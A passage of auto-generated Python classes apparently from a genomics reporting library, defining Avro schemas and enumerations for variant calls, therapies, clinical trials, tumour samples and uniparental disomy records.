"AmpTier", "doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name": "ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols": ["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB", "levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc": ""}, {"name": "algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name": "algorithmName", "type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc": ""}, {"name": "rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null", "int"], "doc": ""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name": "Tier", "doc": "", "symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA", "TIERB"]}], "doc": ""}, {"name": "domain", "type": ["null", {"type": "enum", "name": "Domain", "symbols": ["DOMAIN1", "DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]}}}, {"name": "variantCalls", "type": {"type": "array", "items": {"type": "record", "name": "VariantCall", "doc": "", "fields": [{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type": "string", "doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "", "symbols": ["reference_homozygous", "heterozygous", "alternate_homozygous", "missing", "half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous", "unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name": "PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}}, {"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type": ["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""}, {"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name": "numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null", "int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant", "paternal_variant", "pedigree_specific_variant", "population_specific_variant", "somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking", "inrepeat"]}}]}]}}, "doc": ""}, {"name": "variantAttributes", "type": ["null", {"type": "record", "name": "VariantAttributes", "doc": "", "fields": [{"name": "genomicChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "cdnaChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "proteinChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "additionalTextualVariantAnnotations", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "references", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "variantIdentifiers", "type": ["null", {"type": "record", "name": "VariantIdentifiers", "fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""}, {"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": "Identifier"}]}]}]}, {"name": "alleleFrequencies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AlleleFrequency", "doc": "", "fields": [{"name": "study", "type": "string", "doc": ""}, {"name": "population", "type": "string", "doc": ""}, {"name": "alternateFrequency", "type": "float", "doc": ""}]}}], "doc": ""}, {"name": "additionalNumericVariantAnnotations", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "comments", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": "AlleleOrigin"}], "doc": ""}, {"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name": "recurrentlyReported", "type": ["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null", "float"], "doc": ""}, {"name": "others", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "coordinates", "leftInsSeq", "reportEvents", "rightInsSeq", "variantAttributes", "variantCalls", "variantType", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'coordinates': Coordinates, 'reportEvents': ReportEvent, 'variantAttributes': VariantAttributes, 'variantCalls': VariantCall, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'coordinates': Coordinates, 'reportEvents': ReportEvent, 'variantAttributes': VariantAttributes, 'variantCalls': VariantCall, } return embeddedTypes[fieldName] __slots__ = [ 'coordinates', 'leftInsSeq', 'reportEvents', 'rightInsSeq', 'variantAttributes', 'variantCalls', 'variantType' ] def __init__(self, **kwargs): self.coordinates = kwargs.get( 'coordinates', Coordinates()) self.leftInsSeq = kwargs.get( 'leftInsSeq', None) self.reportEvents = kwargs.get( 'reportEvents', None) self.rightInsSeq = kwargs.get( 'rightInsSeq', None) self.variantAttributes = kwargs.get( 'variantAttributes', None) self.variantCalls = kwargs.get( 'variantCalls', None) self.variantType = kwargs.get( 'variantType', None) class StructuralVariantType(object): """ No documentation """ ins = "ins" dup = "dup" inv = "inv" amplification = "amplification" deletion = "deletion" dup_tandem = "dup_tandem" del_me = "del_me" ins_me = "ins_me" def __hash__(self): return str(self).__hash__() class StudyPhase(object): """ N/A: Trials without phases (for example, studies of devices or behavioural interventions). Early Phase 1 (Formerly listed as "Phase 0"): Exploratory trials, involving very limited human exposure, with no therapeutic or diagnostic intent (e.g., screening studies, microdose studies). See FDA guidance on exploratory IND studies for more information. Phase 1: Includes initial studies to determine the metabolism and pharmacologic actions of drugs in humans, the side effects associated with increasing doses, and to gain early evidence of effectiveness; may include healthy participants and/or patients. Phase 1/Phase 2: Trials that are a combination of phases 1 and 2. Phase 2: Includes controlled clinical studies conducted to evaluate the effectiveness of the drug for a particular indication or indications in participants with the disease or condition under study and to determine the common short-term side effects and risks. Phase 2/Phase 3: Trials that are a combination of phases 2 and 3. Phase 3: Includes trials conducted after preliminary evidence suggesting effectiveness of the drug has been obtained, and are intended to gather additional information to evaluate the overall benefit-risk relationship of the drug. Phase 4: Studies of FDA-approved drugs to delineate additional information including the drug's risks, benefits, and optimal use. """ na = "na" early_phase1 = "early_phase1" phase1 = "phase1" phase1_phase2 = "phase1_phase2" phase2 = "phase2" phase2_phase3 = "phase2_phase3" phase3 = "phase3" phase4 = "phase4" def __hash__(self): return str(self).__hash__() class StudyType(object): """ * `Interventional (clinical trial)`: Participants are assigned prospectively to an intervention or interventions according to a protocol to evaluate the effect of the intervention(s) on biomedical or other health related outcomes. * `Observational`: Studies in human beings in which biomedical and/or health outcomes are assessed in pre-defined groups of individuals. Participants in the study may receive diagnostic, therapeutic, or other interventions, but the investigator does not assign specific interventions to the study participants. This includes when participants receive interventions as part of routine medical care, and a researcher studies the effect of the intervention. * `Expanded Access`: An investigational drug product (including biological product) available through expanded access for patients who do not qualify for enrollment in a clinical trial. Expanded Access includes all expanded access types under section 561 of the Federal Food, Drug, and Cosmetic Act: (1) for individual patients, including emergency use; (2) for intermediate-size patient populations; and (3) under a treatment IND or treatment protocol. (For more information on data requirements for this Study Type, see Expanded Access Data Element Definitions). """ interventional = "interventional" observational = "observational" patient_registry = "patient_registry" expanded_access = "expanded_access" def __hash__(self): return str(self).__hash__() class SupportingReadType(object): """ No documentation """ spanning = "spanning" flanking = "flanking" inrepeat = "inrepeat" def __hash__(self): return str(self).__hash__() class TernaryOption(object): """ This defines a yes/no/unknown case """ yes = "yes" no = "no" unknown = "unknown" def __hash__(self): return str(self).__hash__() class Therapy(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "Therapy", "namespace": "org.gel.models.report.avro", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null", {"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name": "TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type": {"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity", "reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance", "reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity", "adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose", "reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy", "altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic", "dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name": "interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "conditions", "drugResponse", "otherInterventions", "referenceUrl", "references", "source", "variantActionable", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'drugResponse': DrugResponse, 'otherInterventions': Intervention, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'drugResponse': DrugResponse, 'otherInterventions': Intervention, } return embeddedTypes[fieldName] __slots__ = [ 'conditions', 'drugResponse', 'otherInterventions', 'referenceUrl', 'references', 'source', 'variantActionable' ] def __init__(self, **kwargs): self.conditions = kwargs.get( 'conditions', None) self.drugResponse = kwargs.get( 'drugResponse', None) self.otherInterventions = kwargs.get( 'otherInterventions', None) self.referenceUrl = kwargs.get( 'referenceUrl', None) self.references = kwargs.get( 'references', None) self.source = kwargs.get( 'source', None) self.variantActionable = kwargs.get( 'variantActionable', None) class Tier(object): """ Variant tiers as defined by Genomics England """ NONE = "NONE" TIER1 = "TIER1" TIER2 = "TIER2" TIER3 = "TIER3" TIER4 = "TIER4" TIER5 = "TIER5" TIERA = "TIERA" TIERB = "TIERB" def __hash__(self): return str(self).__hash__() class TimeUnit(object): """ No documentation """ years = "years" months = "months" weeks = "weeks" days = "days" hours = "hours" minutes = "minutes" na = "na" def __hash__(self): return str(self).__hash__() class TissueSource(object): """ No documentation """ BMA_TUMOUR_SORTED_CELLS = "BMA_TUMOUR_SORTED_CELLS" CT_GUIDED_BIOPSY = "CT_GUIDED_BIOPSY" ENDOSCOPIC_BIOPSY = "ENDOSCOPIC_BIOPSY" ENDOSCOPIC_ULTRASOUND_GUIDED_BIOPSY = "ENDOSCOPIC_ULTRASOUND_GUIDED_BIOPSY" ENDOSCOPIC_ULTRASOUND_GUIDED_FNA = "ENDOSCOPIC_ULTRASOUND_GUIDED_FNA" LAPAROSCOPIC_BIOPSY = "LAPAROSCOPIC_BIOPSY" LAPAROSCOPIC_EXCISION = "LAPAROSCOPIC_EXCISION" MRI_GUIDED_BIOPSY = "MRI_GUIDED_BIOPSY" NON_GUIDED_BIOPSY = "NON_GUIDED_BIOPSY" SURGICAL_RESECTION = "SURGICAL_RESECTION" STEREOTACTICALLY_GUIDED_BIOPSY = "STEREOTACTICALLY_GUIDED_BIOPSY" USS_GUIDED_BIOPSY = "USS_GUIDED_BIOPSY" NON_STANDARD_BIOPSY = "NON_STANDARD_BIOPSY" NOT_SPECIFIED = "NOT_SPECIFIED" def __hash__(self): return str(self).__hash__() class TraitAssociation(object): """ No documentation """ established_risk_allele = "established_risk_allele" likely_risk_allele = "likely_risk_allele" uncertain_risk_allele = "uncertain_risk_allele" protective = "protective" def __hash__(self): return str(self).__hash__() class Trial(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "Trial", "namespace": "org.gel.models.report.avro", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier", "type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name": "estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null", "string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase", "doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3", "phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic", "dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name": "interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type": ["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment", "prevention", "diagnostic", "supportive_care", "screening", "health_services_research", "basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type": ["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional", "observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name": "demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name": "DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields": [{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit", "type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days", "hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type": "array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type": ["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type": ["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "conditions", "demogrphicElegibilityCriteria", "estimateCompletionDate", "interventions", "locations", "phase", "primaryPurpose", "startDate", "studyIdentifier", "studyType", "studyUrl", "title", "variantActionable", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'demogrphicElegibilityCriteria': DemographicElegibilityCriteria, 'interventions': Intervention, 'locations': TrialLocation, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'demogrphicElegibilityCriteria': DemographicElegibilityCriteria, 'interventions': Intervention, 'locations': TrialLocation, } return embeddedTypes[fieldName] __slots__ = [ 'conditions', 'demogrphicElegibilityCriteria', 'estimateCompletionDate', 'interventions', 'locations', 'phase', 'primaryPurpose', 'startDate', 'studyIdentifier', 'studyType', 'studyUrl', 'title', 'variantActionable' ] def __init__(self, **kwargs): self.conditions = kwargs.get( 'conditions', None) self.demogrphicElegibilityCriteria = kwargs.get( 'demogrphicElegibilityCriteria', None) self.estimateCompletionDate = kwargs.get( 'estimateCompletionDate', None) self.interventions = kwargs.get( 'interventions', None) self.locations = kwargs.get( 'locations', None) self.phase = kwargs.get( 'phase', None) self.primaryPurpose = kwargs.get( 'primaryPurpose', None) self.startDate = kwargs.get( 'startDate', None) self.studyIdentifier = kwargs.get( 'studyIdentifier', None) self.studyType = kwargs.get( 'studyType', None) self.studyUrl = kwargs.get( 'studyUrl', None) self.title = kwargs.get( 'title', None) self.variantActionable = kwargs.get( 'variantActionable', None) class TrialLocation(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "TrialLocation", "namespace": "org.gel.models.report.avro", "fields": [{"name": "name", "type": ["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type": ["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "city", "country", "name", "zip", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'city', 'country', 'name', 'zip' ] def __init__(self, **kwargs): self.city = kwargs.get( 'city', None) self.country = kwargs.get( 'country', None) self.name = kwargs.get( 'name', None) self.zip = kwargs.get( 'zip', None) class TumorigenesisClassification(object): """ No documentation """ driver = "driver" passenger = "passenger" modifier = "modifier" def __hash__(self): return str(self).__hash__() class TumourContent(object): """ No documentation """ High = "High" Medium = "Medium" Low = "Low" def __hash__(self): return str(self).__hash__() class TumourSample(ProtocolElement): """ A tumour sample """ _schemaSource = """ {"type": "record", "name": "TumourSample", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc": ""}, {"name": "LDPCode", "type": "string", "doc": ""}, {"name": "tumourId", "type": "string", "doc": ""}, {"name": "programmePhase", "type": ["null", {"type": "enum", "name": "ProgrammePhase", "symbols": ["CRUK", "OXFORD", "CLL", "IIP", "MAIN", "EXPT"]}], "doc": ""}, {"name": "diseaseType", "type": ["null", {"type": "enum", "name": "diseaseType", "symbols": ["ADULT_GLIOMA", "BLADDER", "BREAST", "CARCINOMA_OF_UNKNOWN_PRIMARY", "CHILDHOOD", "COLORECTAL", "ENDOCRINE", "ENDOMETRIAL_CARCINOMA", "HAEMONC", "HEPATOPANCREATOBILIARY", "LUNG", "MALIGNANT_MELANOMA", "NASOPHARYNGEAL", "ORAL_OROPHARYNGEAL", "OVARIAN", "PROSTATE", "RENAL", "SARCOMA", "SINONASAL", "TESTICULAR_GERM_CELL_TUMOURS", "UPPER_GASTROINTESTINAL", "OTHER", "NON_HODGKINS_B_CELL_LYMPHOMA_LOW_MOD_GRADE", "CLASSICAL_HODGKINS", "NODULAR_LYMPHOCYTE_PREDOMINANT_HODGKINS", "T_CELL_LYMPHOMA"]}], "doc": ""}, {"name": "diseaseSubType", "type": ["null", "string"], "doc": ""}, {"name": "clinicalSampleDateTime", "type": ["null", "string"], "doc": ""}, {"name": "tumourType", "type": ["null", {"type": "enum", "name": "TumourType", "symbols": ["PRIMARY", "METASTATIC_RECURRENCE", "RECURRENCE_OF_PRIMARY_TUMOUR", "METASTASES"]}], "doc": ""}, {"name": "tumourContent", "type": ["null", {"type": "enum", "name": "TumourContent", "symbols": ["High", "Medium", "Low"]}], "doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS", "ASPIRATE"]}], "doc": ""}, {"name": "tissueSource", "type": ["null", {"type": "enum", "name": "TissueSource", "symbols": ["BMA_TUMOUR_SORTED_CELLS", "CT_GUIDED_BIOPSY", "ENDOSCOPIC_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_FNA", "LAPAROSCOPIC_BIOPSY", "LAPAROSCOPIC_EXCISION", "MRI_GUIDED_BIOPSY", "NON_GUIDED_BIOPSY", "SURGICAL_RESECTION", "STEREOTACTICALLY_GUIDED_BIOPSY", "USS_GUIDED_BIOPSY", "NON_STANDARD_BIOPSY", "NOT_SPECIFIED"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "morphologyICD", "type": ["null", "string"], "doc": ""}, {"name": "morphologySnomedCT", "type": ["null", "string"], "doc": ""}, {"name": "morphologySnomedRT", "type": ["null", "string"], "doc": ""}, {"name": "topographyICD", "type": ["null", "string"], "doc": ""}, {"name": "topographySnomedCT", "type": ["null", "string"], "doc": ""}, {"name": "topographySnomedRT", "type": ["null", "string"], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "LDPCode", "clinicalSampleDateTime", "diseaseSubType", "diseaseType", "labSampleId", "morphologyICD", "morphologySnomedCT", "morphologySnomedRT", "preparationMethod", "product", "programmePhase", "sampleId", "source", "tissueSource", "topographyICD", "topographySnomedCT", "topographySnomedRT", "tumourContent", "tumourId", "tumourType", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'LDPCode', 'clinicalSampleDateTime', 'diseaseSubType', 'diseaseType', 'labSampleId', 'morphologyICD', 'morphologySnomedCT', 'morphologySnomedRT', 'preparationMethod', 'product', 'programmePhase', 'sampleId', 'source', 'tissueSource', 'topographyICD', 'topographySnomedCT', 'topographySnomedRT', 'tumourContent', 'tumourId', 'tumourType' ] def __init__(self, **kwargs): self.LDPCode = kwargs.get( 'LDPCode', None) self.clinicalSampleDateTime = kwargs.get( 'clinicalSampleDateTime', None) self.diseaseSubType = kwargs.get( 'diseaseSubType', None) self.diseaseType = kwargs.get( 'diseaseType', None) self.labSampleId = kwargs.get( 'labSampleId', None) self.morphologyICD = kwargs.get( 'morphologyICD', None) self.morphologySnomedCT = kwargs.get( 'morphologySnomedCT', None) self.morphologySnomedRT = kwargs.get( 'morphologySnomedRT', None) self.preparationMethod = kwargs.get( 'preparationMethod', None) self.product = kwargs.get( 'product', None) self.programmePhase = kwargs.get( 'programmePhase', None) self.sampleId = kwargs.get( 'sampleId', None) self.source = kwargs.get( 'source', None) self.tissueSource = kwargs.get( 'tissueSource', None) self.topographyICD = kwargs.get( 'topographyICD', None) self.topographySnomedCT = kwargs.get( 'topographySnomedCT', None) self.topographySnomedRT = kwargs.get( 'topographySnomedRT', None) self.tumourContent = kwargs.get( 'tumourContent', None) self.tumourId = kwargs.get( 'tumourId', None) self.tumourType = kwargs.get( 'tumourType', None) class TumourType(object): """ No documentation """ PRIMARY = "PRIMARY" METASTATIC_RECURRENCE = "METASTATIC_RECURRENCE" RECURRENCE_OF_PRIMARY_TUMOUR = "RECURRENCE_OF_PRIMARY_TUMOUR" METASTASES = "METASTASES" def __hash__(self): return str(self).__hash__() class UniparentalDisomy(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "UniparentalDisomy", "namespace": "org.gel.models.report.avro", "fields": [{"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}, {"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": ["null", "boolean"], "doc": ""}, {"name": "origin", "type": {"type": "enum", "name": "UniparentalDisomyOrigin", "symbols": ["paternal", "maternal", "unknown"]}, "doc": ""}, {"name": "uniparentalDisomyFragments", "type": ["null", {"type": "array", "items": {"type": "record", "name": "UniparentalDisomyFragment", "fields": [{"name": "coordinates", "type": ["null", {"type": "record", "name": "Coordinates", "fields": [{"name": "assembly", "type": "Assembly"}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}], "doc": ""}, {"name": "uniparentalDisomyType", "type": {"type": "enum", "name": "UniparentalDisomyType", "symbols": ["isodisomy", "heterodisomy", "both"]}, "doc": ""}]}}], "doc": ""}, {"name": "participantId", "type": "string", "doc": ""}, {"name": "uniparentalDisomyEvidences", "type": ["null", {"type": "record", "name": "UniparentalDisomyEvidences", "fields": [{"name": "ibds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "IdentityByDescent", "fields": [{"name": "relatedSample", "type": "string"}, {"name": "ibd0", "type": "float"}, {"name": "ibd1", "type": "float"}, {"name": "ibd2", "type": "float"}, {"name": "pihat", "type": "float"}]}}]}]}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "assembly", "chromosome", "complete", "origin", "participantId", "uniparentalDisomyEvidences", "uniparentalDisomyFragments", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'uniparentalDisomyEvidences': UniparentalDisomyEvidences, 'uniparentalDisomyFragments': UniparentalDisomyFragment, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'uniparentalDisomyEvidences': UniparentalDisomyEvidences, 'uniparentalDisomyFragments': UniparentalDisomyFragment, } return embeddedTypes[fieldName] __slots__ = [ 'assembly', 'chromosome', 'complete', 'origin', 'participantId', 'uniparentalDisomyEvidences', 'uniparentalDisomyFragments' ] def __init__(self, **kwargs): self.assembly = kwargs.get( 'assembly', None) self.chromosome = kwargs.get( 'chromosome', None) self.complete = kwargs.get( 'complete', None) self.origin = kwargs.get( 'origin', None) self.participantId = kwargs.get( 'participantId', None) self.uniparentalDisomyEvidences = kwargs.get( 'uniparentalDisomyEvidences', None) self.uniparentalDisomyFragments = kwargs.get( 'uniparentalDisomyFragments', None) class UniparentalDisomyEvidences(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "UniparentalDisomyEvidences", "namespace": "org.gel.models.report.avro", "fields": [{"name": "ibds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "IdentityByDescent", "fields": [{"name": "relatedSample", "type": "string"}, {"name": "ibd0", "type": "float"}, {"name": "ibd1", "type": "float"}, {"name": "ibd2", "type": "float"}, {"name": "pihat", "type": "float"}]}}]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "ibds", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'ibds': IdentityByDescent, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'ibds': IdentityByDescent, } return embeddedTypes[fieldName] __slots__ = [ 'ibds' ] def __init__(self, **kwargs): self.ibds = kwargs.get( 'ibds', None) class UniparentalDisomyFragment(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "UniparentalDisomyFragment", "namespace": "org.gel.models.report.avro", "fields": [{"name": "coordinates", "type": ["null", {"type": "record", "name": "Coordinates", "fields": [{"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}], "doc": ""}, {"name": "uniparentalDisomyType", "type": {"type": "enum", "name": "UniparentalDisomyType", "symbols": ["isodisomy", "heterodisomy", "both"]}, "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "coordinates", "uniparentalDisomyType", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'coordinates': Coordinates, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'coordinates': Coordinates, } return embeddedTypes[fieldName] __slots__ = [ 'coordinates', 'uniparentalDisomyType' ] def __init__(self, **kwargs): self.coordinates = kwargs.get( 'coordinates', None) self.uniparentalDisomyType = kwargs.get( 'uniparentalDisomyType', None) class UniparentalDisomyOrigin(object): """ No documentation """ paternal = "paternal" maternal = "maternal" unknown = "unknown" def __hash__(self): return str(self).__hash__() class UniparentalDisomyType(object): """ No documentation """ isodisomy = "isodisomy" heterodisomy = "heterodisomy" both = "both" def __hash__(self): return str(self).__hash__() class User(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "User", "namespace": "org.gel.models.report.avro", "fields": [{"name": "username", "type": "string"}, {"name": "role", "type": "string"}, {"name": "email", "type": "string"}, {"name": "groups", "type": {"type": "array", "items": "string"}}]} """ schema = avro_parse(_schemaSource) requiredFields = { "email", "groups", "role", "username", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'email', 'groups', 'role', 'username' ] def __init__(self, **kwargs): self.email = kwargs.get( 'email', None) self.groups = kwargs.get( 'groups', None) self.role = kwargs.get( 'role', None) self.username = kwargs.get( 'username', None) class ValidationResult(object): """ No documentation """ NotPerformed = "NotPerformed" Confirmed = "Confirmed" NotConfirmed = "NotConfirmed" def __hash__(self): return str(self).__hash__() class 